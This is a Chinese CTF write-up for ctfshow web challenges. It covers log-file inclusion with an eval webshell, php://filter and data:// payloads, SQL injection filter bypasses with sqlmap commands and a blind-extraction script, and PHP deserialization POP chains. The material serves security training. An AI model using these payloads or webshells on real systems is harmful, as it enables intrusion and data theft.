并没能获取到想要的信息。实际上,除了利用php的伪协议还可以用包含日志的方式,原理就是当请求中尝试访问一个即使不存在的资源时,日志仍会记录,而如果其中包含恶意php代码,当访问日志时,日志会尝试将其解析。另外,虽然题目只是对get参数做了过滤,我们可以将恶意代码插入在ua头实现绕过,注意要编码,尝试包含一句话木马:
?file=/var/log/nginx/access.log&cmd=system('ls /var/www/html');phpinfo();
?file=/var/log/nginx/access.log&cmd=system('cat /var/www/html/fl0g.php');phpinfo();
然后查看源码即可找到flag:
web81:
这次的过滤就几乎相当于无法利用任何伪协议了,同样可以用日志包含来实现bypass,和web80一样。
web82 ~ web86
考察点:条件竞争(文件包含)
- web82:
描述:竞争环境需要晚上11点30分至次日7时30分之间做,其他时间不开放竞争条件
提示:
https://www.freebuf.com/vuls/202819.html
这道题有点像wmctf的make php great again 利用session对话进行文件包含利用https://blog.csdn.net/qq_46091464/article/details/108021053
(待,待思考base64编码问题)web87
考察点:URL二次编码绕过黑名单、base64编码/Rot13凯撒加密绕过die()
/exit()
、base64编码的xxxx问题、请求包混合传参(文件包含)
注意到代码中对GET请求的file参数进行了多种过滤,几乎所有伪协议都无法起作用,并且最终进行了一次url解码,加上GET自带的解码,总共进行了两次url解码。所以很好绕过,对payload做二次url全编码即可。另外,die()
是一个PHP内置函数,它的作用是输出一条消息(如果提供了参数的话),然后立刻终止当前脚本的执行。它有一个别名 exit()
,功能完全相同。还注意到POST请求的content参数,猜测是用于写入内容,也就是说虽然能够实现二次编码让payload完整执行,但其写入内容拼接在最后,如果写入的内容包含php写的payload,在其解析执行前会先被强行硬编码在文件开头的die()
给截断,因此要先想办法绕过die()
。而根据这部分php代码上下文内容、函数命名file_put_contents
、同时出现两种请求方式,可以猜测完整代码原功能是接收参数写入文件,然后利用include()
/require()
等函数来加载并执行用户指定的文件,所以存在文件包含漏洞。比如相应的代码逻辑部分可能如下:
// 包含用户指定的文件
if (file_exists($file)) {
include($file); // 这里是关键点,可能存在文件包含漏洞
} else {
echo "文件不存在";
}
那么如何绕过die()
?
其实可以通过编码的方式,比如base64编码:
这就意味着可以让die()
失效,由于该函数是硬编码在写入的文件内容中的,所以只需对整体文件内容进行编码,其中,然后我们可以写入一句话木马作为<?php die('大佬别秀了');?>
被编码为phpdie
,注意base64编码的特性限制了可编码对象的长度,必须是4的倍数,所以还要添加任意两字节的base64可编码对象,如aa
$content
的内容。所以:
(1)编码:
php://filter/write=convert.base64-decode/resource=hack.php
<?php @eval($_POST["pass"]);
同理其实还可以用Rot13
凯撒加密(但相对更容易出错):
GET:对php://filter/write=string.rot13/resource=hack2.php
二次编码;
POST:<?cuc @riny($_cbfg["cnff"]);
(2)构造payload:
这里要注意的是不能思维定势,实际上POST请求包中除了用POST方式提交数据外,同时还可以用GET传参,这一般是有特殊用途时才这样构造。这里的攻击主要就是GET实现文件写入的同时POST提交数据作为文件内容。
(3)连接木马:
web88
考察点:base64编码绕过黑名单、base64填充去等号问题(文件包含)
题目过滤了PHP和各种符号,可尝试利用base64编码实现无符号的代码执行,注意,如:
<?php system('tac *.php');?>aa
这里构造时要注意如果payload后不加填充字符,生成后的base64由于必须要满足字节数是4的倍数,生成的base64都会有
=
来填充不足的位数,可=
已经包含在黑名单内,所以此时必须加填充字符来保证不出现=
,至于填充多少逐个试就行。
所以payload是:data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTs/PmFh
web116 ~
考察点:
- web116:
描述:misc+lfi
web171 ~ web173
考察点:无过滤常规联合查询sql注入、前端js泄露注入api
web171: 这道题很简单,无任何过滤并且定义好的sql查询语句也给出,并且有引号包括我们的可控参数id,因此是字符型注入 可以先抓个包看一下请求发送到哪里,也就是接收该请求的API:
或者查看源码也能发现,源码中有个文件名与sql注入查询关键字相关,猜测其中包含该API
猜测正确:
这里泄露了api接口,并且是GET方式的请求,显然这里很可能就是sql注入的利用点。 我们既可以在刚才的初始页面输入框中尝试构造payload也可以直接访问该api接口,在url中输入payload,两者没多大差别,这里我选择用前者,因为更直观。 1、猜解当前表的字段数
显然是3。 2、看哪些地方是注入点
3、基本信息搜集
4、查询表
1' union select 1,2,table_name from information_schema.tables where table_schema='ctfshow_web' --+
5、查询列
1' union select 1,2,column_name from information_schema.columns where table_name='ctfshow_user' --+
6、查询数据
1' union select 1,username,password from ctfshow_user --+
拿到flag
web172: 这题刚进入就没有像上题一样存在输入框,而是: 但是前面实际上提到过,从源码中就可以找到api,这个时候就最好配合
hackbar
插件来构造payload,否则每次都会自动被浏览器urlencode。 剩下流程和上题一样,依旧是常规的sql注入利用,无过滤 web173: 和上一题唯一的区别就是,flag在同一个库的另一张表里,其他操作一样
web174 ~ web175
web174:
考察点:先替换后恢复
绕查询结果的数字过滤
burp抓包,查看该GET请求发送到哪个接口,也就是sql注入可能的利用位置 接口是
/api/v4.php
定义的sql查询语句同样是使用之前的结构,没有变化。 本来通过页面回显情况想尝试盲注利用的,但是并没有成功,发现题目对0~9
和flag
都做了正则匹配过滤: 明明有过滤,题目却又写无过滤注入,但仔细观察发现只是对我们查询到的结果进行了过滤,而不是对输入中的payload进行过滤,所以这么归类是没啥问题的。也就是说经过上述处理后,如果我们按照常规方式,即使能查到flag,我们也不一定能够判断出它是否为我们要的flag值。
想了很久没辙,参考了其他师傅的wp,发现绕过的方法很巧妙,可以在构造payload时,将查询结果中的数字分别替换成特定字符串,同时还要经过base64编码处理(注意字符串flag也要!),此时就能够查询到被替换后的flag值,最后再写脚本恢复该flag值,也就是逆着替换同时base64解码就可以拿到正常的flag值。 payload:
1' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(username),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8','numH'),'9','numI'),'0','numJ'),replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8','numH'),'9','numI'),'0','numJ') from ctfshow_user4 where username='flag' --+
这里替换的逻辑一定要注意,是利用嵌套的方式,也就是在上一步的替换结果的基础上再进行逐个数字的替换。 我们查询到了处理后的flag值。 写脚本还原回正常flag:
import base64
flagstr = "YnumCRmcnumBhvdnumCsnumJNzlkZTInumJMinumJnumAYzgxLTQnumCYzItYmIyNSnumJnumAMGUwNjdmODInumCMDNnumI"
flag = flagstr.replace('numA', '1').replace('numB', '2').replace('numC', '3').replace('numD', '4').replace(
'numE', '5').replace('numF', '6').replace('numG', '7').replace('numH', '8').replace('numI', '9').replace('numJ', '0')
print(base64.b64decode(flag))
拿到flag:
web175:
考察点:改变回显查询结果路径
绕查询结果过滤
仍然只是对查询结果进行过滤,这里的过滤逻辑是使用正则表达式检查编码后的字符串中是否包含 ASCII 字符(范围从 \x00 到 \x7F)。
此时我们可以不让查询结果显示在页面,如果该mysql正好是存在读写漏洞的mysql版本,我们还可以尝试将结果写入到一个可以访问到的文件,从而绕过上述ASCII码的过滤:
1' union select 1,group_concat(password) from ctfshow_user5 into outfile '/var/www/html/1.txt'--+
读取成功:
web176 ~ web182
web176:
考察点:大写绕过
首先按照常规payload去尝试,看到哪步时无法正常利用,说明此时可能存在过滤措施,然后凭借已有的经验对payload进行重新构造, 比如这里当payload中包含select
时,无法正常回显出数据,尝试先将其中一个字母改成大写: 信息搜集成功,说明没有对
()
、''
、--+
这些字符过滤: 查表也没问题:
1' union Select 1,2,table_name from information_schema.tables where table_schema='ctfshow_web' --+
查列同样:
拿到flag:
web177:
考察点:/**/
绕过空格过滤和url编码绕过注释过滤
输入1
时能正常回显,所以过滤目标不是数字,当输入1' order by 3--+
以及尝试更多枚举时,回显的都是“无数据”,说明过滤对象可能是'
,空格,关键字,注释符--+
: 对关键字进行大写或双写都绕过失败,暂时放弃,尝试绕过空格和注释符: 而在mysql中绕过空格可以用
/**/
来替代空格。
因为
/**/
在mysql中表示注释符,同时也能够起到空格的作用,所以可以用其替代。
既然题目给的sql语句已经表明是三个字段,就不细究order by
了,先尝试使用#
或url编码后的%23
来替代注释符:
因为实际上浏览器通常只在发送请求时对URL进行一次解码,当服务器接收时,其包含url编码的payload已经被还原回
#
,而服务器不会再对其进行处理,而是直接交给数据库解析,因此该payload成功绕过注释符过滤。
继续尝试联合查询: 说明到此我们已经绕过了核心的过滤,关键字估计并没有做太多过滤措施,直接查询flag:
1'union/**/select/**/1,username,password/**/from/**/ctfshow_user/**/where/**/username='flag'%23
web178:
考察点:%0b
绕过空格过滤
输入1'%23
时可正常回显,输入1'union/**/select/**/1,2,3%23
时却不能,说明对关键字,空格/**/
或,
做了过滤,尝试后排除其他两个,而实际上我们也可以用%0b
来表示空格从而绕过:
1'union%0bselect%0b1,2,3%23
垂直制表符的ASCII十六进制值是
0B
,再经过url编码后就是%0b
,垂直制表符也同样能够起到空格的作用。
同样还是直接查询flag,用同样的payload,只是把所有空格替换成%0b
:
1'union%0bselect%0b1,username,password%0bfrom%0bctfshow_user%0bwhere%0busername='flag'%23
web179:
考察点:%0c
绕过空格过滤
输入1'%23
时可正常回显,输入1'union/**/select/**/1,2,3%23
和1'union%0bselect%0b1,2,3%23
都不能,说明此时可能对关键字,,
,空格做了过滤,首先考虑空格过滤,虽然用/**/
和%0b
都绕过失败,但给了我们启发,我们只需要尝试各种能够起到空格作用又能够正常解析的字符就可以,尤其是利用ascii码,这样的字符很多,所以如果光是用黑名单过滤很容易就被绕过了,很容易考虑不全。
比如可以用%0c
替换空格,还是和上题同样的payload:
%0c是一个URL编码,表示ASCII控制字符 换页符(Form Feed),其ASCII值为 12,十六进制表示后就是0C。
web180:
考察点:--%0c
绕过注释符过滤以及对注释符--+
的深入理解
这次输入1'%23
无正常回显了,说明可能'
或注释符被过滤了,我们先来仔细研究一下注释符: 首先mysql中常用的就是--+
、--
、#
。 --
是MySQL中的单行注释标记。它会告知数据库在 -- 后面的所有内容都应被忽略。+
符号在URL编码中通常代表空格(在某些上下文中)。在这个上下文中,它可能用于确保整个payload在发送时格式正确,或者用于填充。另外,使用--+
的效果与使用--空格
是相同的。
我们模拟下面的场景,来深入地体现+
的重要作用: 首先当原始sql语句中--
在末尾且后面没有其他语句时,能正常执行: 而当后面再跟上其他查询条件时,再用
--
就报错了,假设我们此时url中可控的参数是username: 发现出现语法报错。而当我们在
--
后加上一个空格(即url解码前的+
): 此时注释符
--
才发挥成功其作用。
所以我们构造payload时要输入--+
,而如果+
被过滤了,我们只需要输入其他的与空格等同作用的url编码即可,比如--%0c
: 此时就可以正常回显了。 直接查询flag:
1'union%0cselect%0c1,username,password%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'--%0c
web181:
考察点:构造or逻辑绕过
这题就直接给出了过滤黑名单,不再需要我们用排除法去猜测了: 和上面几题很像,只不过把几乎所有的能与空格作用相同的符号(上面黑名单中的在前几题其实都能用上)都过滤了,还有
#
注释符与个别关键字。
搜索ascii码表,经过测试后发现实际上依然有很多可以替代空格作用的符号不包含在黑名单中: 从
%01
~%08
,%0e
~%0f
都成功绕过了空格的过滤,这里随便选一个%06
: 但是在此基础上进一步利用后,却没有成功绕过,其中关键字也采用了大写或双写,且确实我们输入的字符能保证不在黑名单内,虽然不知道为什么失败了,但这告诉我们需要换个思路比如可以利用逻辑绕过:
9999'or`username`='flag
这种构造逻辑和构造万能密码是一个道理,因此我们可以查出flag,也不需要考虑添加注释符: 另外,注意这里还用了反斜杠符 ` 来闭合列名。
web182:
考察点:%
模糊匹配绕过字符串精确匹配
过滤如下: 同样可以用上一题的构造or逻辑,只不过要稍微改变一下:
9999'or`username`like'f%
虽然flag不能输入了,但是过滤中不是对它进行模糊匹配,所以依旧可以绕过:
web183 ~ web
web183:
考察点:返回值count类判断响应值爆破flag
和上面的题不一样,这次请求方式变成了POST,且查询的目标和返回结果也不一样: 即以post获取的参数值作为表名,返回其中列名pass的记录数量,也就是说如果我们如果依然按照上面题目的解法,是无法直接在页面回显flag的,给人的感觉有点像盲注。所以在这种情况下,我们还可以尝试采取爆破的手段,结合模糊匹配,通过响应中返回的记录总数user_count值是否为1(因为正确的flag就只有1个)来确定我们爆破的字符串是否包含在正确的flag内。 爆破脚本如下:
import requests
import time
url="http://c7fc8316-717a-4b92-acbc-1baf0586664a.challenge.ctf.show/select-waf.php"
flag_params="0123456789-{}qwertyuiopasdfghjklzxcvbnm"
flag=""
for i in range(0,40):
for x in flag_params:
post_data={
# "tableName":"`ctfshow_user`where`pass`regexp(\"ctfshow{}\")".format(flag+x)
"tableName":"`ctfshow_user`where`pass`like\"ctfshow{}%\"".format(flag+x)
}
response = requests.post(url, data=post_data)
time.sleep(0.2)
if response.text.find("user_count = 1;")>0 :
print("{} is right".format(flag+x))
flag+=x
break
else:
print("{} is wrong".format(flag+x))
continue
print("{} is right flag string".format(flag))
简单分析下脚本,首先就是定义flag字符的字典flag_params,临时变量flag用来存储每次遍历拼接的flag值,然后for循环每次从字典中逐个取字符拼接,每次都从响应中判断是否包含在真正的flag值内,直到遍历完字典内的所有字符。
web184:
考察点:
同样是返回值count类,但是做了更多的黑名单过滤,上面的脚本大体思路可以用,但是需要做改变,根据黑名单,发现这道题的关键点就在于:是否能构造出另一个具有同样效果但关键词又不在黑名单上的sql语句。
web201 ~ web
web201:
考察点:sqlmap基本使用与设置ua头、referer头
先要通过抓包找到api:
/api/
,然后再传递可控参数id。
根据题目提示,这两个参数实际上就是自定义ua头和referer头,尝试分别将--user-agent
指定为sqlmap(也可以先指定成浏览器的,但测试后发现不行,推测是目标做了白名单只允许sqlmap),将--referer
指定为目标自己即ctf.show
:
sqlmap -u https://187bf08e-5511-4084-ba4d-49772f512c2e.challenge.ctf.show/api/?id= --user-agent=sqlmap --referer ctf.show
然后就可以继续查数据库和表了:
。。。(第一个命令)--dbs
。。。(第一个命令)-D ctfshow_web --tables
。。。(第一个命令)-D ctfshow_web -T ctfshow_user --columns
。。。(第一个命令)-D ctfshow_web -T ctfshow_user -C pass --dump
flag出来了
web202:
考察点:sqlmap修改数据提交方式
根据题目提示,在前一题的基础上修改数据提交方式为post:
sqlmap -u https://4521b870-6706-4601-beea-4b180da98450.challenge.ctf.show/api/ --data 'id=' --user-agent=sqlmap --referer ctf.show
也可以先抓包,然后在包中修改请求为POST(会自动把id参数调整到请求体),修改好ua头和referer头,然后复制下来整个请求包,使用
sqlmap -r xxx.txt
即可。
web203:
考察点:sqlmap修改请求方法
GET和POST都用过了,尝试修改成PUT请求方法:
python3 sqlmap.py -u https://718c7a1f-77e4-4470-9a5e-36fc74a6f7bd.challenge.ctf.show/api/index.php --referer="ctf.show" --data="id=1" --method="PUT" --headers="Content-Type:text/plain" -D ctfshow_web -T ctfshow_user -C id,pass,username --dump
要注意两个点,在测试时,首先如果直接测/api
是无法测出id参数是否存在注入,要给完整接口,比如/api/index.php
,也就是路径下的默认页面,因为/api
仅仅是框架中的路由,并非所有API都支持 PUT 请求,可能 /api
不接受 PUT 请求或不按预期处理,在一些实现中,可能只有特定的请求方法或路径能正确读取和使用参数,要确认在两种路径中 id 参数是否支持通过 PUT 请求传递;另外,使用PUT请求,要记得加上设置Content-Type
头,即--headers="Content-Type:text/plain"
,否则会变成表单提交。
web254
这题就是纯代码审计并且和反序列化漏洞没关系,直接根据代码逻辑传递?username=xxxxxx&password=xxxxxx
就可以:
web255
考察点:php原生反序列化修改类成员变量逻辑构造pop链
界面直接给出部分源码:
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
简单分析下逻辑:直接从最后面的if开始看,首先判断是否输入账号密码,然后取当前会话COOKIE中的user
序列化对象,将其反序列化赋值给对象被用于调用ctfShowUser类的方法,并且在条件判断中使用了该对象。接着if逻辑往下走,只要当输入与
的值分别对应上,再加上checkVip为真就可以成功调用
vipOneKeyGetFlag`拿到flag。因此我们可以构造pop链如下:
<?php
class ctfShowUser {
public $isVip = true;
}
$a = new ctfShowUser();
echo urlencode(serialize($a));
把上面的代码执行后,输出编码序列化结果如下: 然后替换掉cookie中
user
的原有值(如果没有就新增):
这里要特别注意要url编码一次,这是因为我们序列化的对象是存在COOKIE中的,如果不编码,在cookie中会出现解析问题。(含有的特殊字符,比如
""
会在cookie解析中被认定为截断符)
web256
考察点:php原生反序列化修改传递参数构造pop链
界面直接给出部分源码:
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
和上一题相比,唯一变化就是获取flag的方法vipOneKeyGetFlag()
中判断逻辑改变了,原来是保证isVip
为真就可以,也就是构造pop链时修改类中成员变量,现在除此之外还需要保证输入中的用户名和密码不相同,即构造pop链需要修改的对象转变成了传递的参数。 因此构造pop链如下:
<?php
class ctfShowUser {
public $username='xxxxxx';
public $password='yyyyyy';
public $isVip=true;
}
$a = new ctfShowUser();
echo urlencode(serialize($a));
接下来的步骤同上一题:
web257
考察点:php原生反序列化改变程序执行流并触发魔术方法构造pop链
界面给的源码:
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
在前面整体逻辑的基础上加了两个魔术方法,删除了获取flag的函数,多了个可以用eval
执行代码的后门函数,然后反序列化对象依然是从COOKIE中取的user
,显然现在我们的目标就是利用反序列化漏洞来调用后门函数从而执行命令来获取flag。我们要特别关注这两个魔术方法是什么时候触发的。 首先我们暂时排除掉后门函数,然后梳理一下程序整体的生命周期过程中,程序的执行流程:
- 首先,执行代码中的类定义部分,包括ctfShowUser和info两个类的定义。
- 然后,执行非定义的其他语句,也就是从输入中获取username和password的值开始。
- 当执行到
$user = unserialize($_COOKIE['user']);
这行代码,反序列化后同时创建了ctfShowUser类的实例,由于构建了对象(实例),先触发ctfShowUser类中的__construct
魔术方法,创建一个名为class的属性,并将其实例化为一个info类(来自该类的外部类)的对象。这个class属性是ctfShowUser类的一个内部属性,只能在ctfShowUser类的内部访问。
注意这里是因为info类定义时没有用任何访问修饰符,并且两个类都在同一个文件中,所以可以访问到该类。
- 触发完,接下来,调用ctfShowUser类的
login()
方法,传递username和password作为参数。
注意此时在整个脚本执行期间,ctfShowUser类的实例仍然存在。
- 最后,当整个脚本执行完毕或显式销毁ctfShowUser类的实例时,触发ctfShowUser类的
__destruct
魔术方法,调用$this->class->getInfo()
,即调用info类实例中的getInfo()
方法,返回info类中定义的属性$user
。
分析到这里,整体的逻辑非常清晰了,那么此时我们再把类backDoor
加进来,显然它的存在和这里的类info
地位与结构非常相似,那么利用思路就非常简单,我们只要利用上面分析的逻辑顺序,把info
替换成backDoor
,让最终的执行流来到backDoor
的eval
函数就可以!
因此我们可以构造pop链如下:
<?php
class ctfShowUser {
public $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code="system('tac flag.php');";
}
$a = new ctfShowUser();
echo urlencode(serialize($a));
注意这里是用tac
而不是cat
读取flag,tac
是从内容的末尾开始逆序输出,两个都需要尝试。然后原来定义中是private
的访问控制都改成public
,保证攻击更有效地进行。
构造pop链时我们只要取出源代码中需要修改的部分(保持不变或者对利用该漏洞不影响的部分则不需要放进来,比如
private $isVip=false;
在源代码关键逻辑中并不需要进行判断,对我们的攻击逻辑不造成影响)进行重组就可以。
然后利用步骤依然和之前的一样:
web258
考察点:php原生反序列化绕过正则匹配构造pop链
界面给的源码:
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
这题除了在反序列化前先用正则匹配做了判断以外,其他代码都和web257的一模一样。分析下这里对COOKIE中user
的正则匹配判断,其中
/[oc]:\d+:/i`用于匹配满足以下条件的字符串:
- 首先,正则表达式的模式从斜杠
/
开始,并以斜杠/
结束,用于标识正则表达式的开始和结束。 [oc]
是一个字符类,匹配单个字符。在这个模式中,它表示匹配字母o
或字母c
。:
匹配冒号字符。\d+
匹配一个或多个数字。\d
表示匹配任意一个数字字符,+
表示匹配前面的元素一次或多次。:
再次匹配冒号字符。/i
是一个修饰符,表示匹配时忽略大小写。
通俗来讲,这个正则表达式的模式要求字符串满足以下条件:
- 字符串中的第一个字符可以是字母
o
或字母c
。 - 接下来紧跟一个冒号字符
:
。 - 然后是一个或多个数字。
- 最后以冒号字符
:
结束。
这个正则表达式模式主要用于匹配类似于 "o:123:"
或 "c:456:"
的字符串。例如,它可以匹配 "o:123:"
、"c:456:"
、"O:789:"
和 "C:012:"
等等。
请注意,由于使用了修饰符 /i
,所以这个正则表达式在匹配时会忽略大小写,因此 "o:123:"
和 "O:123:"
都会被匹配到。
所以如果要使反序列化函数能够执行,要让这个正则匹配失败。观察我们之前构造pop链后生成的序列化结果,发现开头和中间有字符串正好是满足这个格式: 很正常,因为这是序列化输出格式中输出对象的特征,显然这里的正则匹配作用就是做检测。因此接下来我们在构造pop链的时候,需要想办法实现bypass。我们可以将这里的
O:11:
替换成O:+11:
,因为这里的正则匹配是逐个字符进行匹配的,+11
和11
都可以被解析成功,因此构造pop链如下:
<?php
class ctfShowUser {
public $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code="system('tac flag.php');";
}
$a = serialize(new ctfShowUser());
$b = str_replace(':11', ':+11', $a);
$c = str_replace(':8', ':+8', $b);
echo urlencode($c);
解码一下生成的序列化字符串,发现成功替换了: 拿到flag:
web259(待)
考察点:
题目提示: flag.php:
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
初次访问时的页面: 能获取到的信息有限,只有传递payload的参数和请求方法,关键还是分析提示给的源码:
- 使用explode()函数将
$_SERVER['HTTP_X_FORWARDED_FOR']
,也就是xff报头的值按逗号分隔成一个数组,存储在变量$xff中。 - 使用
array_pop($xff)
从$xff
数组中移除并返回最后一个元素,并将其赋值给变量$ip
。这个操作的目的是获取除了最后一个IP地址之外的其他所有IP地址。 - 检查
$ip
,不是127.0.0.1,则检查POST提交的token
,然后将flag写入。
web262
考察点:php原生反序列化bypass-字符串逃逸
界面给的源码:
<?php
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
首先注意到注释中提示了一个文件: 访问后,展示了新的源代码:
<?php
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
开始分析,第一段代码中,__construct
只传递除了$token
外的其他变量,这些变量从GET请求的三个参数中获取,然后在类定义外部,先判断是否GET有传递这三个参数,有则实例化对象$msg
,然后对序列化后的$msg
做了字符串替换,接着把替换后的$umsg
经过base64编码后作为COOKIE的msg
字段值,然后提示消息发送成功。接着,第二段代码中,判断COOKIE的msg
字段值是否存在,存在则对该值进行base64解码后再反序列化还原为对象,然后再判断该对象中是否有键值对token=='admin'
,如果有则获得flag。从功能来看,第一段代码负责模拟发送消息,第二段代码负责模拟接收消息并对消息做检测。
综合分析来看,获取flag的条件是COOKIE中解码并反序列化后token=='admin'
,但是刚开始传给COOKIE的序列化前的对象中并没有传递token
,所以当我们构造pop链的时候,可以直接尝试传给它一个token
,毕竟反序列化解析时是根据长度判断有什么内容的,而不会检测构建的对象的实参是否与类定义的实参一一对应上。所以我们可以直接构造pop链如下:
<?php
class message{
public $from;
public $msg;
public $to;
public $token='admin';
}
echo base64_encode(serialize(new message()));
然后用burp抓包,将生成的字符串替换掉访问/message.php
时请求包中Cookie的msg
字段值,因为/message.php
是用来接收消息的接口,会进行反序列化操作,如下: 但是这是
非预期解
,实际上这道题本来想要考察的并不是这个,而是字符串逃逸。为什么要叫这个名字呢?让我们接着往下分析:
首先,我们先随便输入这三个参数的值,看看网站COOKIE中msg
存储的值解码再反序列化后的对象是什么样的: 虽然源代码中没有调用
urlencode()
函数,但由于被存储在COOKIE的字段中,浏览器会自动先对其进行url编码,因为"
是截断符,不编码会引起解析问题。所以先url解码一次: 然后再按源代码写的,再对上面的结果base64解码一次:
也就是序列化的结果,对照源码可以发现虽然我们的
__construct
并没有传递$token
参数,没有显式设置$this->token
的值,但是在类定义中,message
类指定了一个默认的属性值 $token = 'user'
。这意味着在构造函数__construct
中,如果没有为$token
参数提供值,它将使用默认的属性值 'user'
,这也是为什么我们直接对类定义的token
值进行修改,就能够直接实现上面的非预期解
。 但是显然我们必须想办法把$token = 'user'
的值改成admin
才有可能获取flag。接着,我们不要忽略了源代码中一个起到过滤作用的代码$umsg = str_replace('fuck', 'loveU', serialize($msg));
,虽然我们上面的尝试中,序列化结果字符串中并不包含fuck
字符串,但如果我们要利用字符串逃逸技术来实现修改$token = 'admin'
,我们就必须好好利用这个过滤,首先我们可以在源代码逻辑基础上做适当减法,自己编写一个小demo研究一下过滤前后,对反序列化的影响:
<?php
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = '123';
$m = '456';
$t = 'fuck';
$msg = new message($f,$m,$t);
// 过滤前
$str1 = serialize($msg);
echo $str1;
echo '<br><br>';
print_r(unserialize($str1));
echo '<br><br>';
// 过滤后
$umsg = str_replace('fuck', 'loveU', $str1);
echo $umsg;
echo '<br><br>';
$unserializedMsg = unserialize($umsg);
if ($unserializedMsg !== false) {
print_r($unserializedMsg);
} else {
echo '反序列化失败';
}
//echo base64_encode(serialize($a));
echo '<br><br>';
输出结果: 我们首先需要明白反序列化解析的具体细节:
参考文章1 参考文章2 所以,当过滤后,由于只是单纯将字段值替换了,而代表字符串长度的部分依然是原来的4,而loveU
的字符串长度是5,显然二者不匹配,所以反序列化时就会造成解析错误导致最终反序列化失败。所以如果是按照原来的4解析,最多只能解析到love
,剩下的U
则会逃过检测,这也就是方法名字中逃逸
的由来!逃逸的字符多了,就可以当作一个字符串占位,刚好这些占位部分可以填充我们的payload,也就是$token = 'admin'
,我们同时可以借助反序列化解析的特点,在payload后用;}
让反序列化目标提前解析结束,也就是直接丢弃后面的;s:5:"token";s:5:"user";}
。我们先假设要构造的payload为;s:5:"token";s:5:"admin";}
,计算后总共26个字符串长度,所以我们需要给它预留26个字符串占位,也就是说我们需要传递26个fuck
,以至于被过滤替换后能逃逸出26个字符。另外,我们需要构造的payload末尾包括反序列化解析结束符号,所以我们必须将其作为最后一个参数$t
的值,即fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck;s:5:"token";s:5:"admin";}
,然后传参访问: url_decode+base64_decode后的序列化字符串如下:
O:7:"message":4:{s:4:"from";s:3:"123";s:3:"msg";s:3:"123";s:2:"to";s:134:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU;s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
可以发现,我们构造的整体包括payload都在引号内,显然这不是我们想要的结果,不仅解析失败也无法修改token的值。所以payload应该修改为: ";s:5:"token";s:5:"admin";}
